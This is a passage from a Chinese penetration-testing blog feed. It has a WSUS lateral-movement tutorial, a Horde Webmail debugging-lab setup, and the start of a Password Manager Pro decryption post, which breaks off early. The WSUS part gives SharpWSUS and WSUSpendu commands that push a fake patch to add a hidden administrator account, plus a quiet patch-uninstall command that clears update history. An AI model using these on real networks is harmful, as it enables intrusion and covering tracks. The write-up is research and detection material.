https://3gstudent.github.io/Zimbra-SOAP-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-%E9%A2%84%E8%AE%A4%E8%AF%81 渗透技巧——通过WSUS进行横向移动 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>在内网渗透中,当我们获得了WSUS服务器的控制权限后,可以通过推送补丁的方式进行横向移动。这个利用方法最早公开在BlackHat USA 2015。本文将要整理这个利用方法的相关资料,结合思路思路,得出行为检测的方法。</p> <p>参考资料:</p> <p>https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf</p> <p>https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/</p> <p>https://labs.nettitude.com/blog/introducing-sharpwsus/</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>环境搭建</li> <li>利用思路</li> <li>实现工具</li> <li>行为检测</li> </ul> <h2 id="0x02-环境搭建">0x02 环境搭建</h2> <hr /> <p>本节介绍WSUS服务器搭建的过程,通过配置客户端实现补丁的推送</p> <p>参考资料:</p> <p>https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)</p> <h3 id="1wsus服务器搭建">1.WSUS服务器搭建</h3> <p>WSUS服务器需要安装在Windows Server操作系统</p> <h4 id="1安装">(1)安装</h4> <p>在添加角色和功能页面,选择<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code></p> <p>需要指定补丁更新包的存放路径,这里可以设置为<code class="language-plaintext highlighter-rouge">C:\WSUS</code></p> <h4 id="2配置">(2)配置</h4> <p>打开<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code>进行配置</p> <p>配置时选择默认选项即可,在选择<code class="language-plaintext highlighter-rouge">Download update information from Microsoft Update</code>时,点击<code class="language-plaintext highlighter-rouge">Start Connecting</code>,如果报错提示<code class="language-plaintext highlighter-rouge">An HTTP error has occurred</code>,经过我的多次测试,可以采用以下方法解决:</p> <p>关闭当前页面</p> <p>进入<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code>,选择<code class="language-plaintext highlighter-rouge">synchronization</code>,点击<code class="language-plaintext highlighter-rouge">synchronization Now</code>,等待同步完成,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-1.png" alt="Alt text" /></p> <p>选择<code class="language-plaintext highlighter-rouge">Options</code>,选择<code class="language-plaintext highlighter-rouge">WSUS Server Configuration Wizard</code>,重新进入配置页面,连接成功,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-2.png" alt="Alt text" /></p> <p>配置完成后需要创建计算机组,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-3.png" alt="Alt text" /></p> <p>当同步完成后,会提示下载了多少个补丁,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-4.png" alt="Alt text" /></p> <p>选择<code class="language-plaintext highlighter-rouge">Updates</code>页面,可以查看已下载的补丁,<code class="language-plaintext highlighter-rouge">Unapproved</code>表示未安装的补丁,安装后的补丁可以选择<code class="language-plaintext highlighter-rouge">Approved</code>进行查看,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-5.png" alt="Alt text" /></p> <p>选中一个补丁,点击<code class="language-plaintext highlighter-rouge">Approve...</code>,弹出的对话框可以针对指定计算机组安装补丁,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-6.png" alt="Alt text" /></p> <h3 id="2客户端配置">2.客户端配置</h3> <p>客户端只要是Windows系统即可,需要通过组策略配置</p> <p>依次选择<code class="language-plaintext highlighter-rouge">Computer Configuration</code> -&gt; <code class="language-plaintext highlighter-rouge">Administrative Templates</code> -&gt; <code class="language-plaintext highlighter-rouge">Windows Components</code> -&gt; <code class="language-plaintext highlighter-rouge">Windows Update</code>,选择<code class="language-plaintext highlighter-rouge">Configure Automatic Updates</code>,设置成<code class="language-plaintext highlighter-rouge">Auto download and notify for install</code>,选择<code class="language-plaintext highlighter-rouge">Specify intranet Microsoft update service location</code>,设置更新服务器地址为<code class="language-plaintext highlighter-rouge">http://192.168.1.182:8530</code></p> <p><strong>注:</strong></p> <p>需要指定端口8530</p> <p>对于域环境,配置组策略后需要等待一段时间,这是因为组策略每90分钟在后台更新一次,随机偏移量为0-30分钟,如果想立即生效,可以输入命令:<code class="language-plaintext highlighter-rouge">gpupdate /force</code></p> <p>对于工作组环境,配置组策略可以立即生效</p> <p>当客户端开始补丁更新时,WSUS服务器会获得客户端的信息,并显示在<code class="language-plaintext highlighter-rouge">Computers</code>页面</p> <p>组策略配置的操作等同于创建注册表,具体信息如下:</p> <p>(1)组策略配置自动更新后会创建注册表<code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU</code></p> <p>查询命令:<code class="language-plaintext highlighter-rouge">REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"</code></p> <p>返回结果示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU UseWUServer REG_DWORD 0x1 NoAutoUpdate REG_DWORD 0x0 AUOptions REG_DWORD 0x3 ScheduledInstallDay REG_DWORD 0x0 ScheduledInstallTime REG_DWORD 0x3 </code></pre></div></div> <p>其中<code class="language-plaintext highlighter-rouge">AUOptions</code>对应组策略配置中的<code class="language-plaintext highlighter-rouge">Configure automatic updating</code>,<code class="language-plaintext highlighter-rouge">2</code>代表<code class="language-plaintext highlighter-rouge">Notify for download and notify for install</code>,<code class="language-plaintext highlighter-rouge">3</code>代表<code class="language-plaintext highlighter-rouge">Auto download and notify for install</code>,<code class="language-plaintext highlighter-rouge">4</code>代表<code class="language-plaintext highlighter-rouge">Auto download and schedule the install</code>,<code class="language-plaintext highlighter-rouge">5</code>代表<code class="language-plaintext highlighter-rouge">Allow local admin to choose setting</code></p> <p>(2)组策略配置服务器地址后会创建注册表<code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate</code></p> <p>查询命令:<code class="language-plaintext highlighter-rouge">REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"</code></p> <p>返回结果示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://192.168.112.182:8530 WUStatusServer REG_SZ http://192.168.112.182:8530 </code></pre></div></div> <h3 id="3推送补丁">3.推送补丁</h3> <p>在WSUS服务器的<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code>页面,选择指定补丁,右键点击<code class="language-plaintext highlighter-rouge">Approve...</code>,在弹出的对话框中选择计算机组即可</p> <p>等待客户端到达补丁更新时间,即可完成补丁的推送</p> <h2 id="0x03-利用思路">0x03 利用思路</h2> <hr /> <p>如果我们能够生成一个带有Payload的补丁,就能够通过补丁进行横向移动,但是在利用上需要注意补丁文件的签名问题:Windows的补丁文件需要带有微软的签名</p> <p>通常的利用方法是使用带有微软签名的程序,例如psexec,通过psexec执行命令或者添加一个管理员用户</p> <h2 id="0x04-实现工具">0x04 实现工具</h2> <hr /> <p>开源的工具有以下三个:</p> <p>https://github.com/nettitude/SharpWSUS</p> <p>https://github.com/AlsidOfficial/WSUSpendu</p> <p>https://github.com/ThunderGunExpress/Thunder_Woosus</p> <p>以上三个工具的实现原理基本相同,都是创建一个调用psexec执行命令的补丁,将补丁推送至指定计算机,等待目标计算机更新补丁</p> <p>创建补丁的操作需要连接SQL数据库,依次实现以下操作:</p> <ul> <li>ImportUpdate</li> <li>PrepareXMLtoClient</li> <li>InjectURL2Download</li> <li>DeploymentRevision</li> <li>PrepareBundle</li> <li>PrepareXMLBundletoClient</li> <li>DeploymentRevision</li> </ul> <h3 id="1创建补丁">1.创建补丁</h3> <p>SharpWSUS在创建补丁时需要注意转义字符,命令示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^&amp;^&amp; net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo" </code></pre></div></div> <p>这条命令将会在<code class="language-plaintext highlighter-rouge">Updates</code>的<code class="language-plaintext highlighter-rouge">Security Updates</code>页面下创建<code class="language-plaintext highlighter-rouge">WSUSDemo</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/2-1.png" alt="Alt text" /></p> <h3 id="2补丁部署">2.补丁部署</h3> <p>将补丁部署到指定计算机组,命令示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe approve /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7 /groupname:"Demo Group" </code></pre></div></div> <p>这条命令会创建计算机组<code class="language-plaintext highlighter-rouge">Demo Group</code>,并且把<code class="language-plaintext highlighter-rouge">win-iruj9k30gr7</code>移动到该组下面,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/2-2.png" alt="Alt text" /></p> <p>接下来需要等待客户端安装这个补丁</p> <h3 id="3查看补丁状态">3.查看补丁状态</h3> <p>查看补丁是否被安装,命令示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe check /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7 </code></pre></div></div> <p>补丁未安装的输出如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] Action: Check Update Targeting win-iruj9k30gr7 TargetComputer, ComputerID, TargetID ------------------------------------ win-iruj9k30gr7, d00cc6fd-4b98-492a-9f5d-12b1a14bd7a6, 2 Update Info cannot be found. [*] Check complete </code></pre></div></div> <p>还有一种查看方法是查看计算机的补丁更新时间,示例命令:<code class="language-plaintext highlighter-rouge">SharpWSUS.exe inspect</code></p> <p>输出示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>####################### Computer Enumeration ####################### ComputerName, IPAddress, OSVersion, LastCheckInTime --------------------------------------------------- computer02, 192.168.112.149, 7.6.7601.24436, 8/30/2022 7:55:44 AM win-iruj9k30gr7, 192.168.112.143, 7.6.7600.320, 8/30/2022 7:42:57 AM </code></pre></div></div> <p>为了便于测试,可以强制客户端更新补丁,看到新的补丁信息,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/2-3.png" alt="Alt text" /></p> <h3 id="4清除补丁信息">4.清除补丁信息</h3> <p>命令示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe delete /updateid:f316d1b2-b530-40bc-b4d7-0453d85c4c58 /computername:win-iruj9k30gr7 /groupname:"Demo Group" </code></pre></div></div> <p>这条命令会删除补丁,删除添加的计算机组</p> <p>在整个补丁更新过程中,WSUS服务器会将psexec.exe保存在WSUS服务器本地<code class="language-plaintext highlighter-rouge">C:\wsus\wuagent.exe</code>和<code class="language-plaintext highlighter-rouge">C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe</code>,需要手动清除</p> <p>在测试<a href="https://github.com/AlsidOfficial/WSUSpendu">WSUSpendu</a>时,为了便于分析细节,可以修改以下代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[CmdletBinding()] Param( ) $PayloadFile = "psexec.exe" $PayloadArgs = '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add &amp;&amp; net localgroup Administrators Titi /add"' $ComputerName = "win-iruj9k30gr7" $Inject = 1 </code></pre></div></div> <p>命令行执行:<code class="language-plaintext highlighter-rouge">powershell -ep bypass -f WSUSpendu.ps1 -Verbose</code>,将会输出完整的信息</p> <h2 id="0x05-行为检测">0x05 行为检测</h2> <hr /> <p>客户端的补丁历史更新记录会保存所有的补丁安装信息:</p> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/3-1.png" alt="Alt text" /></p> <p>但是,攻击者如果获得了系统的管理员控制权限,可以通过命令行卸载补丁的方式清除历史更新记录,命令行卸载补丁的命令示例:</p> <p>查看更新:<code class="language-plaintext highlighter-rouge">wmic qfe list brief/format:table</code></p> <p>卸载指定更新:<code class="language-plaintext highlighter-rouge">wusa /uninstall /kb:976902 /quiet /norestart</code></p> <h2 id="0x06-小结">0x06 小结</h2> <hr /> <p>本文介绍了通过WSUS进行横向移动的方法和实现工具,结合利用思路,给出行为检测的建议。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Thu, 01 Sep 2022 00:00:00 +0000 https://3gstudent.github.io//%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87WSUS%E8%BF%9B%E8%A1%8C%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87WSUS%E8%BF%9B%E8%A1%8C%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8 Horde Groupware Webmail漏洞调试环境搭建 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>本文记录从零开始搭建Horde Groupware Webmail漏洞调试环境的细节。</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>Horde Groupware Webmail安装</li> <li>Horde Groupware Webmail漏洞调试环境配置</li> <li>常用知识</li> </ul> <h2 id="0x02-horde-groupware-webmail安装">0x02 Horde Groupware Webmail安装</h2> <hr /> <p>参考资料:</p> <p>https://www.horde.org/apps/webmail/docs/INSTALL</p> <p>https://github.com/horde/base/blob/master/doc/INSTALL.rst</p> <p>https://geekrewind.com/install-horde-groupware-webmail-on-ubuntu-16-04-18-04-with-apache2/</p> <p>https://neoserver.site/help/step-step-installation-instructions-postfix-and-dovecot-ubuntu</p> <p>简单来说,安装Horde Groupware Webmail时需要配置以下环境:</p> <ul> <li>MySQL数据库</li> <li>Apache2</li> <li>php7.2</li> <li>Dovecot</li> </ul> <p>操作系统选择Ubuntu18,这里不能选择Ubuntu16,因为Ubuntu16不支持php7.2</p> <p>本文的安装过程做了适当精简,完整过程可根据参考资料进行学习,具体安装过程如下:</p> <h3 id="1安装mariadb-database-server">1.安装MariaDB Database Server</h3> <h4 id="1安装">(1)安装</h4> <p>安装命令:<code class="language-plaintext highlighter-rouge">sudo apt-get -y install mariadb-server mariadb-client</code></p> <h4 id="2配置">(2)配置</h4> <p>配置命令:<code class="language-plaintext highlighter-rouge">sudo mysql_secure_installation</code></p> <p>配置如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Enter current password for root (enter for none): press the Enter Set root password? [Y/n]: n Remove anonymous users? [Y/n]: Y Disallow root login remotely? [Y/n]: Y Remove test database and access to it? [Y/n]: Y Reload privilege tables now? [Y/n]: Y </code></pre></div></div> <h4 id="3创建数据库">(3)创建数据库</h4> <p>连接数据库的命令:<code class="language-plaintext highlighter-rouge">mysql -u root -p</code></p> <p>执行以下命令:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CREATE DATABASE horde; CREATE USER 'hordeuser'@'localhost' IDENTIFIED BY 'new_password_here'; GRANT ALL ON horde.* TO 'hordeuser'@'localhost' WITH GRANT OPTION; FLUSH PRIVILEGES; EXIT; </code></pre></div></div> <p>设置数据库的用户为<code class="language-plaintext highlighter-rouge">hordeuser</code>,口令为<code class="language-plaintext highlighter-rouge">new_password_here</code></p> <h3 id="2安装php-horde-webmail">2.安装php-horde-webmail</h3> <p>安装命令:<code class="language-plaintext highlighter-rouge">sudo apt -y install php-horde-webmail</code></p> <h3 id="3配置webmail">3.配置webmail</h3> <p>安装命令:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pear channel-discover pear.horde.org pear run-scripts horde/horde_role </code></pre></div></div> <p>配置如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Filesystem location for the base Horde application : /usr/share/horde Configuration successfully saved to PEAR config. Install scripts complete </code></pre></div></div> <p><strong>注:</strong></p> <p>这里必须指定为<code class="language-plaintext highlighter-rouge">/usr/share/horde</code>,否则在运行webmail-install时报错提示:<code class="language-plaintext highlighter-rouge">failed to open stream: No such file or directory in /usr/bin/webmail-install on line 17</code></p> <h3 id="4安装">4.安装</h3> <p>安装命令:<code class="language-plaintext highlighter-rouge">webmail-install</code></p> <p>配置如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Installing Horde Groupware Webmail Edition Configuring database settings What database backend should we use? (false) [None] (mysql) MySQL / PDO (mysqli) MySQL (mysqli) (oci8) Oracle (pgsql) PostgreSQL (sqlite) SQLite Type your choice []: mysql Username to connect to the database as* [] hordeuser Password to connect with new_password_here How should we connect to the database? (unix) UNIX Sockets (tcp) TCP/IP Type your choice [unix]: unix Location of UNIX socket [] Database name to use* [] horde Internally used charset* [utf-8] Use SSL to connect to the server? (false) No (true) Yes Type your choice []: false Split reads to a different server? (false) Disabled (true) Enabled Type your choice [false]: Should Horde log all queries. If selected, queries will be logged at the DEBUG level to your configured logger. (1) Yes (0) No Type your choice [0]: Writing main configuration file. done. Creating and updating database tables. done. Configuring administrator settings Specify an existing mail user who you want to give administrator permissions (optional): Writing main configuration file. done. Thank you for using Horde Groupware Webmail Edition! </code></pre></div></div> <h3 id="5访问登录页面">5.访问登录页面</h3> <p>http://127.0.0.1/horde/login.php</p> <p>这里不能使用localhost,会报错提示:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A fatal error has occurred Session cookies will not work without a FQDN and with a non-empty cookie domain. Either use a fully qualified domain name like "http://www.example.com" instead of "http://example" only, or set the cookie domain in the Horde configuration to an empty value, or enable non-cookie (url-based) sessions in the Horde configuration. </code></pre></div></div> <p>此时没有配置邮箱用户,无法进行登录,需要安装Dovecot</p> <h3 id="6安装dovecot">6.安装Dovecot</h3> <p>安装命令:<code class="language-plaintext highlighter-rouge">apt-get -y install dovecot-imapd dovecot-pop3d</code></p> <p>默认horde webmail没有配置邮箱用户,可以使用Ubuntu系统的用户进行登录,成功,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-2.png" alt="Alt text" /></p> <h3 id="补充1安装file_fstab会出现bug">补充1:安装File_Fstab会出现bug</h3> <p>安装命令:<code class="language-plaintext highlighter-rouge">pear install File_Fstab</code></p> <p>安装这个模块之后,无法加载test页面,报错提示:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A fatal error has occurred syntax error, unexpected 'new' (T_NEW) Details have been logged for the administrator. </code></pre></div></div> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-1.png" alt="Alt text" /></p> <h3 id="补充2cpanel默认支持horde-groupware-webmail">补充2:cpanel默认支持Horde Groupware Webmail</h3> <p>cpanel的安装可参考:https://docs.cpanel.net/installation-guide/system-requirements-centos/</p> <p>cpanel下启用Horde Groupware Webmail的方法如下:</p> <h4 id="1添加邮箱账户">(1)添加邮箱账户</h4> <p>访问:<code class="language-plaintext highlighter-rouge">http://&lt;cpanel ip&gt;:2087/</code></p> <p>进入WHM,登录用户名<code class="language-plaintext highlighter-rouge">root</code>,口令为<code class="language-plaintext highlighter-rouge">root</code>用户的口令,选择创建用户,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-3.png" alt="Alt text" /></p> <h4 id="2选择horde">(2)选择horde</h4> <p>访问:<code class="language-plaintext highlighter-rouge">http://&lt;cpanel ip&gt;:2096/</code></p> <p>使用新添加的账户登录,选择Email Accounts,配置成<code class="language-plaintext highlighter-rouge">horde</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-4.png" alt="Alt text" /></p> <h2 id="0x03-horde-groupware-webmail漏洞调试环境配置">0x03 Horde Groupware Webmail漏洞调试环境配置</h2> <hr /> <p>这里需要先在安装Horde Groupware Webmail的Ubuntu18上添加xdebug,然后在本地安装PhpStorm进行远程调试</p> <p>本地系统使用Windows,IP为<code class="language-plaintext highlighter-rouge">192.168.112.131</code></p> <p>安装Horde Groupware Webmail的Ubuntu18 IP为<code class="language-plaintext highlighter-rouge">192.168.112.168</code></p> <p>流程如下:</p> <h3 id="1安装xdebug">1.安装xdebug</h3> <p>需要根据php版本选择合适的xdebug,可选择以下两种筛选方法:</p> <p>(1)命令行执行命令<code class="language-plaintext highlighter-rouge">php -i</code></p> <p>(2)浏览器访问phpinfo页面</p> <p><code class="language-plaintext highlighter-rouge">echo "&lt;?php phpinfo();?&gt;" &gt; /usr/share/horde/phpinfo.php</code></p> <p>访问http://127.0.0.1/horde/phpinfo.php</p> <p>将以上方法得到的输出信息复制到https://xdebug.org/wizard,可以自动解析出对应的xdebug版本</p> <p>根据提示进行安装</p> <p>输出信息如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PHP版本: 7.2.24-0 </code></pre></div></div> <p>下载安装xdebug:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://xdebug.org/files/xdebug-3.1.5.tgz apt-get install php-dev autoconf automake tar -xvzf xdebug-3.1.5.tgz cd xdebug-3.1.5 phpize ./configure make cp modules/xdebug.so /usr/lib/php/20170718 </code></pre></div></div> <p>配置xdebug:<code class="language-plaintext highlighter-rouge">vi /etc/php/7.2/apache2/conf.d/99-xdebug.ini</code></p> <p>配置代码需要区分XDebug2和XDebug3,自PhpStorm 2020.3起,开始使用XDebug3,语法也做了更改,详细说明:https://xdebug.org/docs/upgrade_guide#changed-xdebug.remote_enable</p> <p>正确的参数:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zend_extension = /usr/lib/php/20170718/xdebug.so xdebug.mode=debug xdebug.idekey=PHPSTORM xdebug.start_with_request=yes xdebug.client_host=192.168.112.131 xdebug.client_port=9000 xdebug.log='/tmp/xdebug.log' </code></pre></div></div> <p>对应老的参数(失效):</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zend_extension = /usr/lib/php/20170718/xdebug.so xdebug.mode=debug xdebug.idekey=PHPSTORM xdebug.remote_enable=1 xdebug.remote_host=192.168.112.131 xdebug.remote_port=9000 xdebug.remote_handler=dbgp xdebug.remote_log='/tmp/xdebug.log' </code></pre></div></div> <p>重启Apache服务:<code class="language-plaintext highlighter-rouge">sudo systemctl restart apache2.service</code></p> <p>可通过访问phpinfo页面确认xdebug是否配置成功</p> <h3 id="2phpstorm配置">2.PhpStorm配置</h3> <h4 id="1安装phpstorm">(1)安装PhpStorm</h4> <h4 id="2配置调试端口">(2)配置调试端口</h4> <p>打开PhpStorm,创建一个PHP Empty Project</p> <p>依次打开<code class="language-plaintext highlighter-rouge">File</code> -&gt; <code class="language-plaintext highlighter-rouge">Settings</code> -&gt; <code class="language-plaintext highlighter-rouge">PHP</code> -&gt; <code class="language-plaintext highlighter-rouge">Debug</code></p> <p>确认调试端口为<code class="language-plaintext highlighter-rouge">9000</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-1.png" alt="Alt text" /></p> <h4 id="3配置dbgp-proxy">(3)配置DBGp Proxy</h4> <p>依次打开<code class="language-plaintext highlighter-rouge">File</code> -&gt; <code class="language-plaintext highlighter-rouge">Settings</code> -&gt; <code class="language-plaintext highlighter-rouge">PHP</code> -&gt; <code class="language-plaintext highlighter-rouge">Debug</code> -&gt; <code class="language-plaintext highlighter-rouge">DBGp Proxy</code>,填入以下信息:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IDE key: PHPSTORM Host: 192.168.112.168 Port: 9000 </code></pre></div></div> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-2.png" alt="Alt text" /></p> <h4 id="4配置servers">(4)配置Servers</h4> <p>依次打开<code class="language-plaintext highlighter-rouge">File</code> -&gt; <code class="language-plaintext highlighter-rouge">Settings</code> -&gt; <code class="language-plaintext highlighter-rouge">PHP</code> -&gt; <code class="language-plaintext highlighter-rouge">Servers</code></p> <p>手动添加一个,填入以下信息:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: test1 Host: 192.168.112.168 Port: 80 Debugger: Xdebug </code></pre></div></div> <p>勾选<code class="language-plaintext highlighter-rouge">Use path mappings</code>,填入以下配置信息:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>File/Directory: c:\Users\1\PhpstormProjects\untitiled\horde Absolute path on the server: /usr/share/horde </code></pre></div></div> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-3.png" alt="Alt text" /></p> <h3 id="3下断点">3.下断点</h3> <p>将Ubuntu18的文件夹<code class="language-plaintext highlighter-rouge">/usr/share/horde</code>下载到本地,保存为<code class="language-plaintext highlighter-rouge">c:\Users\1\PhpstormProjects\untitiled\horde</code></p> <p>在PhpStorm打开需要调试的php文件并下断点</p> <h3 id="4开始调试">4.开始调试</h3> <h4 id="1配置">(1)配置</h4> <p>依次打开<code class="language-plaintext highlighter-rouge">Run</code> -&gt; <code class="language-plaintext highlighter-rouge">Edit Configurations</code></p> <p>手动添加一个,选择<code class="language-plaintext highlighter-rouge">PHP Web Page</code>,填入以下信息:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: horde Server: test1 Start URL: http://192.168.112.168/horde/login.php Browser: Chrome </code></pre></div></div> <h4 id="2开启监听">(2)开启监听</h4> <p>依次打开<code class="language-plaintext highlighter-rouge">Run</code> -&gt; <code class="language-plaintext highlighter-rouge">Start Listening for PHP Debug Connections</code></p> <h4 id="3开启调试">(3)开启调试</h4> <p>依次打开<code class="language-plaintext highlighter-rouge">Run</code> -&gt; <code class="language-plaintext highlighter-rouge">Debug</code></p> <p>弹出Chrome浏览器,捕获到断点,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-4.png" alt="Alt text" /></p> <h2 id="0x04-常用知识">0x04 常用知识</h2> <hr /> <h3 id="1添加管理员用户">1.添加管理员用户</h3> <p>将用户<code class="language-plaintext highlighter-rouge">a</code>设置为管理员用户</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /usr/share/horde/config/conf.php </code></pre></div></div> <p>修改:<code class="language-plaintext highlighter-rouge">$conf['auth']['admins'] = array();</code></p> <p>设置为:<code class="language-plaintext highlighter-rouge">$conf['auth']['admins'] = array('a');</code></p> <h3 id="2日志位置">2.日志位置</h3> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/log/apache2/access.log </code></pre></div></div> <h2 id="0x05-小结">0x05 小结</h2> <hr /> <p>在我们搭建好Horde Groupware Webmail漏洞调试环境后,接下来就可以着手对漏洞进行学习。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Thu, 25 Aug 2022 00:00:00 +0000 https://3gstudent.github.io//Horde-Groupware-Webmail%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA https://3gstudent.github.io/Horde-Groupware-Webmail%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA Password Manager Pro利用分析——数据解密 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>在上篇文章《Password Manager Pro漏洞调试环境搭建》介绍了漏洞调试环境的搭建细节,经测试发现数据库的部分数据做了加密,本文将要介绍数据解密的方法。</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>数据加密的位置</li> <li>解密方法</li> <li>开源代码</li> <li>实例演示</li> </ul> <h2 id="0x02-数据加密的位置">0x02 数据加密的位置</h2> <hr /> <p>测试环境同《Password Manager Pro漏洞调试环境搭建》保持一致</p> <p>数据库连接的完整命令:<code class="language-plaintext highlighter-rouge">"C:\Program Files\ManageEngine\PMP\pgsql\bin\psql" "host=127.0.0.1 port=2345 dbname=PassTrix user=pmpuser password=Eq5XZiQpHv"</code></p> <p>数据库连接成功,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-1.png" alt="Alt text" /></p> <p>常见的数据加密位置有以下三个:</p> <h4 id="1web登录用户的口令salt">(1)Web登录用户的口令salt</h4> <p>查询Web登录用户名的命令:<code class="language-plaintext highlighter-rouge">select * from aaauser;</code></p> <p>查询Web登录用户口令的命令:<code class="language-plaintext highlighter-rouge">select * from aaapassword;</code></p> <p>结果如下图</p> <p><img 